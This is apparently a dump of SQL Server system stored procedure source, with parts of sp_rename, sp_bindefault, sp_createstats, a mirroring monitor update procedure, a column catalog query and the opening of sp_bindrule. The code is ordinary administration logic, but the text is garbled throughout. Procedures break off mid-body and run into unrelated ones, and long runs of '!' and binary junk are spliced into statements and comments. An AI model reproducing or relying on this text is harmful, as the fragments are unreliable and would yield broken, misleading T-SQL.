	if (@objtype = 'object' or @objtypeIN is null)
	begin
		-- get object id, type
		select @objid_tmp = object_id(@objname)
		
		if not (@objid_tmp is null)
		begin
			-- obtain owner-qual object name
			select @schid = ObjectProperty(@objid_tmp, 'schemaid')
			select @OwnAndObjName = QuoteName(schema_name(@schid))+'.'+QuoteName(object_name(@objid_tmp))

			EXEC %%Object(MultiName = @OwnAndObjName).LockMatchID(ID = @objid_tmp, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
				select @objid_tmp = null
		end

		select @xtype_tmp = type
			from sys.objects where object_id = @objid_tmp

		-- if object is a system table, a Scalar function, or a table valued function, skip it.

		-- Cannot rename system table
		if @xtype_tmp = 'S'
			select @objid_tmp = NULL

		-- Locks parent object and increments schema_ver
		if not (@objid_tmp is null)
		begin

			if (@xtype_tmp in ('U'))
			begin

				select @published = is_merge_published | is_published from sys.tables where object_id = @objid_tmp
				if (@published <> 0)
				begin
					COMMIT TRANSACTION
					raiserror(15051,-1,-1)
					return (0)
				end
			end

			-- parent already locked via locking object

		end

		-- check for wrong param
		if ((@objid_tmp is not null AND @objtype <> 'object') OR
			(@objid_tmp is null AND @objtype = 'object'))
		begin
			COMMIT TRANSACTION
			raiserror(15248,-1,-1,@objtypeIN)
			return 1
		end

		if not (@objid_tmp is null)
			select @objtype = 'object', @objid = @objid_tmp, @xtype = @xtype_tmp

	end

	---------------------------------------------------------------------
	-------------------  PHASE 30:  More parm edits  --------------------
	---------------------------------------------------------------------

	-- item type determined?
	if (@objtype is null)
	begin
		COMMIT TRANSACTION
		raiserror(15225,-1,-1,@objname, @CurrentDb, @objtypeIN)
		return 1
	end

	-- was the original name valid given this type?
	if (@objtype in ('object','userdatatype') AND @CountNumNodes > 3)
	begin
		COMMIT TRANSACTION
		raiserror(15225,-1,-1,@objname, @CurrentDb, @objtypeIN)
		return 1
	end

	-- verify db qualifier is current db
	if (@objtype in ('object','userdatatype'))
		select @QualName3 = @QualName2
	if (isnull(@QualName3, @CurrentDb) <> @CurrentDb)
	begin
		COMMIT TRANSACTION
		raiserror(15333,-1,-1,@QualName3)
		return 1
	end

	if (@objtype <> 'userdatatype')
	begin
		-- check if system object
		select @schid = ObjectProperty(@objid, 'schemaid')
		if (ObjectProperty(@objid, 'IsMSShipped') = 1 OR
			ObjectProperty(@objid, 'IsSystemTable') = 1)
		begin
			COMMIT TRANSACTION
			raiserror(15001,-1,-1, @objname)
			return 1
		end
	end
	
	-- System created Date Correlation view and its columns/indexes cannot be renamed.
	if (@objid is not null
		AND @xtype = 'V '
		AND 1 = Isnull((select is_date_correlation_view from sys.views where object_id = @objid), 0)
		)
	begin
		COMMIT TRANSACTION
		raiserror(15168,-1,-1, @objname)
		return 1
	end

	-- FileTable system defined objects and columns cannot be renamed.
	if ((@objtype = 'object'
		AND exists (select object_id from sys.filetable_system_defined_objects where object_id = @objid))
		OR 
		(@objtype = 'index'
		AND exists (select object_id from sys.filetable_system_defined_objects where object_id = @cnstid))
		OR
		(@objtype = 'column' 
		AND exists (select object_id from sys.tables where object_id = @objid and is_filetable = 1)))
	begin
		COMMIT TRANSACTION
		set @objnameLen = len(@objname);
		raiserror(3865,-1,-1,@objnameLen,@objname)
		return 1
	end

	-- make sure orig no longer shows null
	if @objtypeIN is null
		select @objtypeIN = @objtype

	-- Check for name clashing with existing name(s)
	if (@newname <> @UnqualOldName)
	begin
		-- column name clash?
		if (@objtype = 'column')
			if (ColumnProperty(@objid, @newname, 'isidentity') is not null)
				select @UnqualOldName = NULL
		-- index name clash?
		if ( (@objtype = 'object' AND @xtype in ('PK','UQ'))
				OR @objtype = 'index')
			if indexproperty(@objid, @newname, 'IndexID') is not null 

				select @UnqualOldName = NULL
		-- cnst name clash?
		if (@objtype = 'object' OR @cnstid IS NOT null)
			if (object_id(QuoteName(schema_name(@schid)) +'.'+ QuoteName(@newname), 'local') is not null)
				select @UnqualOldName = NULL
		-- stop on clash
		if (@UnqualOldName is null)
		begin
			COMMIT TRANSACTION
			raiserror(15335,-1,-1,@newname,@objtypeIN)
			return 1
		end
	end

	--------------------------------------------------------------------------
	--------------------  PHASE 32:  Temporay Table Isssue -------------------
	--------------------------------------------------------------------------
	-- Disallow renaming object to or from a temp name (starts with #)
	if (@objtype = 'object' AND
		(substring(@newname,1,1) = N'#' OR
		substring(object_name(@objid),1,1) = N'#'))
	begin
		COMMIT TRANSACTION
		raiserror(15600,-1,-1, 'sys.sp_rename')
		return 1
	end

	--------------------------------------------------------------------------
	--------------------  PHASE 34:  Cautionary messages  --------------------
	--------------------------------------------------------------------------

	if @objtype = 'column'
	begin
		-- Check for Dependencies: No column rename if enforced dependency on column
		if exists (select * from sys.sql_dependencies d where
			d.referenced_major_id = @objid
			AND d.referenced_minor_id = @colid
			AND d.class = 1
			-- filter dependencies where the dependent object d.object_id is a date correlation view.
			-- Date correlation view owner is the same as of any of the tables they are dependent upon so user having alter access
			-- to any of the participating tables will have catalog view access to the MPIV for the following query to succeed.
			AND 0 = Isnull((select is_date_correlation_view from sys.views o where o.object_id =  d.object_id), 0)
			)
		begin
			COMMIT TRANSACTION
			raiserror(15336,-1,-1, @objname)
			return 1
		end
	end
	else if @objtype = 'object'
	begin
		-- Check for Dependencies: No RENAME or CHANGEOWNER of OBJECT when exists:
		if exists (select * from sys.sql_dependencies d where
			d.referenced_major_id = @objid		-- A dependency on this object
			AND d.class > 0		-- that is enforced
			AND @objid <> d.object_id		-- that isn't a self-referen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<={l
η4ce (self-references don't use object name)
			-- filter dependencies where the dependent object d.object_id is a date correlation view.
			AND 0 = Isnull((select is_date_correlation_view from sys.views o where o.object_id =  d.object_id), 0)
			-- And isn't a reference from a child object (also don't use object name)			
			-- As we might not have permission on the dependent object, we list all the child
			-- objects of the object to be renamed and make sure that child object id is not the depending object here.
			AND 0 = (select count(*) from sys.objects o where o.parent_object_id = @objid and o.object_id = d.object_id)
			)
		begin
			COMMIT TRANSACTION
			raiserror(15336,-1,-1, @objname)
			return 1
		end
	end

	-- WITH DEFERRED RESOLUTION, sql_dependencies  IS NOT VERY ACCURATE, SO WE ALSO
	--	RAISE THIS WARNING **UNCONDITIONALLY**, EVEN FOR NON-OBJECT RENAMES
	raiserror(15477,-1,-1)

	-- warn about dependencies...
	if (@objtype = 'objects'
		and exists (select * from sys.sql_dependencies d where 
						d.referenced_major_id = @objid
						-- filter dependencies where the dependent object d.object_id is a date correlation view.
						AND 0 = Isnull((select is_date_correlation_view from sys.views o where o.object_id =  d.object_id), 0)
						))
		raiserror(15337,-1,-1)

	--------------------------------------------------------------------------
	---------------------  PHASE 40:  Update system tables  ------------------
	--------------------------------------------------------------------------

	-- DO THE UPDATES --	
	if (@objtype = 'userdatatype')						-------- change type name
	begin

		EXEC %%ScalarType(ID = @xusertype).SetName(Name = @newname)
		if @@error <> 0
		begin
			COMMIT TRANSACTION
			raiserror(15335,-1,-1,@newname,@objtypeIN)
			return 1
		end

		-- EMDEventType(x_eet_Rename), EMDUniversalClass( x_eunc_Type), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 241, ID = 6, ID = @xusertype, ID = 0, Value = @UnqualOldName,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 3, Value = @objname, Value = @newname, Value = @objtypeINOrig, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	end
	else if (@objtype = 'object')						-------- change object name
	begin

		-- update the object name
		EXEC %%Object(ID = @objid).SetName(Name = @newname)
		if @@error <> 0
		begin
			COMMIT TRANSACTION
			raiserror(15335,-1,-1,@newname,@objtypeIN)
			return 1
		end

		-- EMDEventType(x_eet_Rename), EMDUniversalClass( x_eunc_Table), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 241, ID = 1, ID = @objid, ID = 0, Value = @UnqualOldName,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 3,
			Value = @objname, Value = @newname, Value = @objtypeINOrig, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	end
	else if (@objtype in ('index', 'statistics'))						-------- change index name
	begin		
		-- update the index or statistics name, and change object name if cnst	 	
		declare @last_error int
		EXEC %%IndexOrStats(ObjectID = @objid, Name = @UnqualOldName).SetName(Name = @newname)
		set @last_error = @@error
		if @last_error <> 0
		begin
			COMMIT TRANSACTION
			declare @len int = 2*len(@newname)
			if @last_error = 4				
				raiserror(12802,-1,2, @len, @newname, 100)
			else
			raiserror(15335,-1,-1,@newname,@objtypeIN)
			return 1
		end

		-- EMDEventType(x_eet_Rename), EMDUniversalClass( x_eunc_Index | x_eunc_Stats), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		declare @eunc int
		if (@objtype = 'index')
			set @eunc = 7;
		else if (@objtype = 'statistics') 
			set @eunc = 9;
			
		EXEC %%System().FireTrigger(ID = 241, ID = @eunc, ID = @objid, ID = @indexstatsid, Value = @UnqualOldName,
			ID = 1, ID = @objid, ID = 0, Value = NULL, ID = 3,
			Value = @objname, Value = @newname, Value = @objtypeINOrig, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end	
	else if (@objtype = 'column')						-------- change column name
	begin
		EXEC %%ColumnEx(ObjectID = @objid, Name = @UnqualOldName).SetName(Name = @newname)

		if @@error <> 0
		begin
			COMMIT TRANSACTION
			return 1
		end

		-- EMDEventType(x_eet_Rename), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 241, ID = 1, ID = @objid, ID = @colid, Value = @UnqualOldName,
			ID = 1, ID = @objid, ID = 0, Value = NULL, ID = 3,
			Value = @objname, Value = @newname, Value = @objtypeINOrig, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end

	COMMIT TRANSACTION

	-- Success --
	return 0 -- sp_rename
HAH			@tab_id, @col_id	-- take care of rename

			while @@fetch_status = 0
			begin

				if @cur_tab_id <> @tab_id	-- not same table
				begin
					select @cur_tab_id = @tab_id
					select @vc1 = quotename(schema_name(OBJECTPROPERTY(@tab_id,'SchemaId'))) + '.'
								+ quotename(object_name(@tab_id))

					EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)
					if @@error <> 0			-- bad table, eg. removed
						select @bad_tab_id = @tab_id
				end

				--  Update syscolumns with new binding.
				if @bad_tab_id <> @tab_id	-- table schema locked
				begin
					-- Column cannot be dropped due to type shared lock
					select @colname = COL_NAME(@tab_id, @col_id)
					EXEC %%ColumnEx(ObjectID = @tab_id, Name = @colname).SetRule(ID = @ruleid)
				end

				fetch next from ms_crs_bindrule_1 into
					@tab_id, @col_id

			end

			deallocate ms_crs_bindrule_1
			raiserror(15516,-1,-1)

		end

		-- EMDEventType(x_eet_Bind_Rule), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
		-- EMDUniversalClass(x_eunc_Type), target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 219, ID = 1, ID = @ruleid, ID = 0, Value = NULL,
			ID = 6, ID = @xusertype, ID = 0, Value = NULL, ID = 3,
			Value = @rulename, Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	end

	-- SUCCESS --
	COMMIT TRANSACTION
	return (0)

error_abort_exit:
	COMMIT TRANSACTION
	return (1) -- sp_bindrule
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|RퟰvR(create procedure sys.sp_bindefault	--- 1996/08/30 20:04
	@defname nvarchar(776),			-- name of the default
	@objname nvarchar(776),			-- table or usertype name
	@futureonly varchar(15) = NULL	-- flag to indicate extent of binding
as
	declare @defid int					-- id of the default to bind
	declare @futurevalue varchar(15)	-- the value of @futureonly that causes
										--  the binding to be limited
	declare
		@vc1			nvarchar(517)
		,@tab_id		int
		,@col_id		int
		,@parent_obj	int
		,@colname		sysname
		,@xtype			tinyint
		,@xusertype		int
		,@xtypelen		int
		,@cur_default	int
		,@schid			int

	declare
		@UnqualDef			sysname
		,@QualDef1			sysname
		,@QualDef2			sysname
		,@QualDef3			sysname
		,@UnqualObj			sysname
		,@QualObj1			sysname
		,@QualObj2			sysname
		,@QualObj3			sysname

	set cursor_close_on_commit	off
	set nocount			on

	select @futurevalue = 'futureonly'	-- initialize @futurevalue

	-- When a default or rule is bound to a user-defined datatype, it is also
	--  bound, by default, to any columns of the user datatype that are currently
	--  using the existing default or rule as their default or rule.  This default
	--  action may be overridden by setting @futureonly = @futurevalue when the
	--  procedure is invoked.  In this case existing columns with the user
	--  datatype won't have their existing default or rule changed.

	-- get name parts --
	select @UnqualDef = parsename(@defname, 1),
			@QualDef1 = parsename(@defname, 2),
			@QualDef2 = parsename(@defname, 3),
			@QualDef3 = parsename(@defname, 4)

	select @UnqualObj = parsename(@objname, 1),
			@QualObj1 = parsename(@objname, 2),
			@QualObj2 = parsename(@objname, 3),
			@QualObj3 = parsename(@objname, 4)

	if (@UnqualDef is null OR @QualDef3 is not null)
	begin
		raiserror(15253,-1,-1,@defname)
		return (1)
	end

	if (@UnqualObj is null OR @QualObj3 is not null)
	begin
		raiserror(15253,-1,-1,@objname)
		return (1)
	end

	------------------  Verify database.
	if ((@QualObj2 is not null and @QualObj1 is null)
		or (@QualDef2 is not null and @QualDef2 <> db_name()))
	begin
		raiserror(15076,-1,-1)
		return (1)
	end

	-- Check that the @futureonly argument, if supplied, is correct.
	if (@futureonly is not null)
	begin
		select @futureonly = lower(@futureonly)
		if (@futureonly <> @futurevalue)
		begin
			raiserror(15100,-1,-1)
			return (1)
		end
	end

	BEGIN TRANSACTION

	-- Check to see that the default exists and get its id.
	select @defid = object_id, @parent_obj = parent_object_id from sys.objects
			where object_id = object_id(@defname, 'local')
				and type='D '	-- default object 6

	-- Share lock default so it cannot be dropped
	if not (@defid is null)
	begin
		EXEC %%Object(MultiName = @defname).LockMatchID(ID = @defid, Exclusive = 0, BindInternal = 0)
		if @@error <> 0
			select @defid = null
	end

	if @defid is null
	begin
		raiserror(15016,-1,-1,@UnqualDef)
		goto error_abort_exit
	end

	if @parent_obj > 0
	begin
		raiserror(15050,-1,-1,@defname)
		goto error_abort_exit
	end

	-- Try to resolve column first. We need to extract
	--  and verify the table and column names and make sure the user owns
	--  the table that is getting the default bound. We also need to ensure
	--  that we don't overwrite any DRI style defaults.
	if @QualObj1 is not null
	begin
		if (@QualObj2 is not null)
			select @vc1 = QuoteName(@QualObj2) + '.' + QuoteName(@QualObj1)
		else
			select @vc1 = QuoteName(@QualObj1)

		-- Check that table and column exist
		select	@tab_id = o.object_id
			from sys.tables o join sys.columns c
				on c.object_id = o.object_id
			where o.object_id = object_id(@vc1,'local')
				and c.name = @UnqualObj
				
 		if @tab_id is not null
		begin
			declare @is_sparse int
			declare @is_column_set int

			-- Since binding a default is a schema change, update schema count
			--  for the object in the sysobjects table.
			EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)

			-- Check again that table and column exist
			if @@error = 0
				select	@xtype = system_type_id,
						@xtypelen = max_length,
						@cur_default = default_object_id,
						@is_sparse = is_sparse,
						@is_column_set = is_column_set
					from sys.columns
					where object_id = @tab_id
						and name = @UnqualObj
			if @xtype is null
			begin
				raiserror(15148,-1,-1, @objname)
				goto error_abort_exit
			end

			-- If the column type is timestamp, varchar(max), nvarchar(max), varbinary(max), disallow the bind.
			-- If the column is computed, disallow the bind.
			if (   type_name(@xtype) in ('timestamp', 'xml') 
				or ( type_name(@xtype) in ('varchar', 'nvarchar', 'varbinary')
					  and @xtypelen = -1 )
				or ColumnProperty(@tab_id, @UnqualObj, 'IsComputed') = 1
				or @is_sparse = 1
				or @is_column_set = 1
				or @xtype = 240 ) -- CLR UDT 
			begin
				raiserror(15101,-1,-1)
				goto error_abort_exit
			end

			-- If the column category is identity, disallow the bind.
			--  Defaults can't be bound to identity columns.
			if 1 = ColumnProperty(@tab_id, @UnqualObj, 'IsIdentity')
			begin
				raiserror(15102,-1,-1)
				goto error_abort_exit
			end

			-- Check to see if the column was created with or altered
			--  to have a DRI style default value.
			if (@cur_default is not null) and exists
					(select	*
						from	sys.objects o
						where	@cur_default     = o.object_id
						and		@tab_id            = o.parent_object_id)
			begin
				raiserror(15103,-1,-1)
				goto error_abort_exit
			end

			EXEC %%ColumnEx(ObjectID = @tab_id, Name = @UnqualObj).SetDefault(ID = @defid)
			
			-- EMDEventType(x_eet_Bind_Default), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
			-- EMDUniversalClass(x_eunc_Table), target major id, 1 means target name is column, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 218, ID = 1, ID = @defid, ID = 0, Value = NULL,
				ID = 1, ID = @tab_id, ID = 1, Value = @UnqualObj, ID = 3,
				Value = @defname, Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
			raiserror(15511,-1,-1)
		end
	end

	-- We're binding to a user type.  In this case, the @objname
	--  is really the name of the user datatype.
	--  When we bind to a user type, any existing columns get changed
	--  to the new binding unless their current binding is not equal
	--  to the current binding for the usertype or if they set the
	--  @futureonly parameter to @futurevalue.
	if @tab_id is null
	begin

		--  Get the current default for the datatype.
		if @QualObj2 is null
			select @xusertype = user_type_id, @cur_default = default_object_id,
					@xtype = system_type_id,
					@xtypelen = max_length,
					@schid = schema_id
					from sys.types
					where user_type_id = type_id(@objname)
					and is_table_type=0

		-- Ex-lock and check permission
		if not (@xusertype is null)
		begin
			EXEC %%ScalarType(MultiName = @objname).LockMatchID(ID = @xusertype, Exclusive = 1)
			if (@@error <> 0)
				select @xusertype = null
		end
		
		if @xusertype is null
		begin
			raiserror(15148,-1,-1, @objname)
			goto error_abort_exit
		end
			
		if ((type_name(@xtype) in ('varchar', 'nvarchar', 'varbinary') and 
				 @xtypelen = -1)
			or type_name(@xtype) = 'xml'
			or @xtype = 240 ) -- CLR UDT 
		begin
			raiserror(15101,-1,-1)
			goto error_abort_exit
		end

		if exists (select * from sys.columns c where user_type_id = @xusertype and c.is_sparse = 1)
		begin
			raiserror(33079,-1,-1, @objname)
			goto error_abort_exit
		end

		EXEC %%ScalarType(ID = @xusertype).SetDefault(ID = @defid)
		raiserror(15512,-1,-1)

		-- need the new binding.
		if isnull(@futureonly, ' ') <> @futurevalue
		begin

			declare	@cur_tab_id		int
					,@bad_tab_id	int

			select	@cur_tab_id = 0		-- detect !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<}5%gCR(table id change for lock schema
					,@bad_tab_id = 0	-- skip bad tables (dropped, etc)

			declare ms_crs_t1 cursor local static for
				select distinct
						c.object_id, c.column_id
				from	 sys.columns c join sys.tables o
					on c.object_id = o.object_id
				where c.user_type_id = @xusertype
				and	((c.default_object_id = 0)
					 or (c.default_object_id = @cur_default))
				order by c.object_id
						for read only

			open ms_crs_t1
			fetch next from ms_crs_t1 into
					@tab_id, @col_id

			while @@fetch_status = 0
			begin
				if @cur_tab_id <> @tab_id	-- not same table
				begin
					select @cur_tab_id = @tab_id
					select @vc1 = quotename(schema_name(OBJECTPROPERTY(@tab_id,'SchemaId'))) + '.'
								+ quotename(object_name(@tab_id))

					EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)
					if @@error <> 0			-- bad table, eg. removed
						select @bad_tab_id = @tab_id
				end

				if @bad_tab_id <> @tab_id	-- table schema locked
				begin
					-- Column cannot be dropped due to type shared lock
					select @colname = COL_NAME(@tab_id, @col_id)
					EXEC %%ColumnEx(ObjectID = @tab_id, Name = @colname).SetDefault(ID = @defid)
				end

				fetch next from ms_crs_t1 into
						@tab_id, @col_id

			end

			deallocate ms_crs_t1
			raiserror(15513,-1,-1)
		end

		-- EMDEventType(x_eet_Bind_Default), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
		-- EMDUniversalClass(x_eunc_Type), target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 218, ID = 1, ID = @defid, ID = 0, Value = NULL,
			ID = 6, ID = @xusertype, ID = 0, Value = NULL, ID = 3,
			Value = @defname, Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end

	-- SUCCESS --
	COMMIT TRANSACTION
	return (0)

error_abort_exit:
	COMMIT TRANSACTION
	return 1	-- sp_bindefault
e&e&ssage
						print '     ' + @columnname
					fetch next from ms_crs_cnames into @columnname
				end
				close ms_crs_cnames
				deallocate ms_crs_cnames
			end
		end
		fetch next from ms_crs_tnames into @tablename, @table_id, @uid, @schema_name, @table_type
	end

	print ' '
	raiserror(15020,-1,-1,@numcols)

	deallocate ms_crs_tnames

	if (object_id('[#colpostab]') is not null)
	begin
		drop table [#colpostab]
	end

	return(0) -- sp_createstats
eKeocks are time behind, send queue, redo queue and average delay.

		-- time behind
		set @alert = 0	-- from SteveLi.  This will make sure that if there are problems with the select, the alert
						-- will not accidentally fire.
		select @threshold = time_behind, @alert = enable_time_behind
			from msdb.dbo.dbm_monitor_alerts where database_id = @database_id
		begin
			set @temp_time = datediff(minute, @time_behind_alert_value, getutcdate())
			if ( @alert = 1 and @threshold < @temp_time ) -- time_behind_alert_value is datetime
			begin
				raiserror( 32040, 10, 1, @temp_time, @threshold ) with log
			end
		end
		-- send queue
		set @alert = 0
		select @threshold = send_queue, @alert = enable_send_queue
			from msdb.dbo.dbm_monitor_alerts where database_id = @database_id
		begin
			if ( @alert = 1 and @threshold < @send_queue_alert_value )
			begin
				raiserror( 32042, 10, 2, @send_queue_alert_value, @threshold ) with log
			end
		end
		-- redo queue
		set @alert = 0
		select @threshold = redo_queue, @alert = enable_redo_queue
			from msdb.dbo.dbm_monitor_alerts where database_id = @database_id
		begin
			if ( @alert = 1 and @threshold < @redo_queue_alert_value )
			begin
				raiserror( 32043, 10, 3, @redo_queue_alert_value, @threshold ) with log
			end
		end
		-- average delay
		set @alert = 0
		select @threshold = average_delay, @alert = enable_average_delay
			from msdb.dbo.dbm_monitor_alerts where database_id = @database_id
		begin
			if ( @alert = 1 and @threshold < @average_delay_alert_value )
			begin
				raiserror( 32044, 10, 4, @average_delay_alert_value, @threshold ) with log
			end
		end

		-- Prune the Data Table.
		select @retention_period = retention_period from msdb.dbo.dbm_monitor_alerts where database_id = @database_id
		if @retention_period is null
			set @retention_period = 168 -- 168 hours is equivalent to 7 days
		set @oldest_date = getutcdate() - (@retention_period / 24.)
		delete from msdb.dbo.dbm_monitor_data where time < @oldest_date and database_id = @database_id
	end
	-- OK, this SP was called with no database specified.
	-- We are going to go through all the databases that are mirrored and update them.
	else
	begin
		declare dbmCursor cursor local scroll 
			for select 
				database_id 
			from sys.database_mirroring 
			where mirroring_guid is not null

		open dbmCursor
		fetch next from dbmCursor
			into @database_id

		while @@fetch_status=0
		begin
-- Better make sure sys.sp_dbmmonitorupdate with a null parameter.  Could cause real bad problems.
			set @database_name = db_name( @database_id )
			if @database_name is not null
			begin
				
				exec sys.sp_dbmmonitorupdate @database_name
				fetch next from dbmCursor
					into @database_id
			end
		end

		close dbmCursor
		deallocate dbmCursor
	end

return 0
end
JJ_cov.ODBCVER = @ODBCVer and
            s_cov.OBJECT_TYPE <> 'TT' and
            (@table_name is null or s_cov.TABLE_NAME like @table_name) and
            (@table_owner is null or schema_name(s_cov.SCHEMA_ID) like @table_owner) and
            (@column_name is null or s_cov.COLUMN_NAME like @column_name) and
            ( 
                @NameScope = 0 AND 
                (
                    ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 ) 
                ) or   
                @NameScope = 2 or 
                @NameScope = 3 AND s_cov.SS_IS_SPARSE = 1 AND objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 1
            )

        order by 2, 3, 17
    end
U0U0                     end
        from
            sys.spt_datatype_info spt_dt
        where
            spt_dt.DATA_TYPE = #tmp_columns.DATA_TYPE and
            spt_dt.ODBCVer = @ODBCVer and
            spt_dt.AUTO_INCREMENT = 0 and
            spt_dt.TYPE_NAME <> 'smalldatetime' and
            spt_dt.TYPE_NAME <> 'xml' -- DATA_TYPE for ntext and xml are the same, so allow just ntext here.
    --
    -- Final result is retunrned from the temporary table.
    --
    select
        TABLE_CAT,
        TABLE_SCHEM,
        TABLE_NAME,
        COLUMN_NAME,
        DATA_TYPE,
        TYPE_NAME,
        COLUMN_SIZE,
        BUFFER_LENGTH,
        DECIMAL_DIGITS,
        NUM_PREC_RADIX,
        NULLABLE,
        REMARKS,
        COLUMN_DEF,
        SQL_DATA_TYPE,
        SQL_DATETIME_SUB,
        CHAR_OCTET_LENGTH,
        ORDINAL_POSITION,
        IS_NULLABLE,
        SS_UDT_CATALOG_NAME,
        SS_UDT_SCHEMA_NAME,
        SS_UDT_ASSEMBLY_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
        SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
        SS_XML_SCHEMACOLLECTION_NAME,
        SS_DATA_TYPE
    from
        #tmp_columns
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, ORDINAL_POSITION

    drop table #tmp_columns

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<
J`<(~l`zvHcreate procedure sys.sp_bindrule	-- 1996/08/14 15:02
	@rulename nvarchar(776),		-- name of the rule
	@objname nvarchar(776),			-- table or usertype name
	@futureonly varchar(15) = NULL	-- column name
as
	declare @ruleid int					-- id of the rule to bind
	declare @futurevalue varchar(15)	-- the value of @futureonly that causes
										--  the binding to be limited
	declare
		@vc1			nvarchar(517)
		,@tab_id		int
		,@col_id		int
		,@colname		sysname
		,@oldrule		int				-- current rule for type
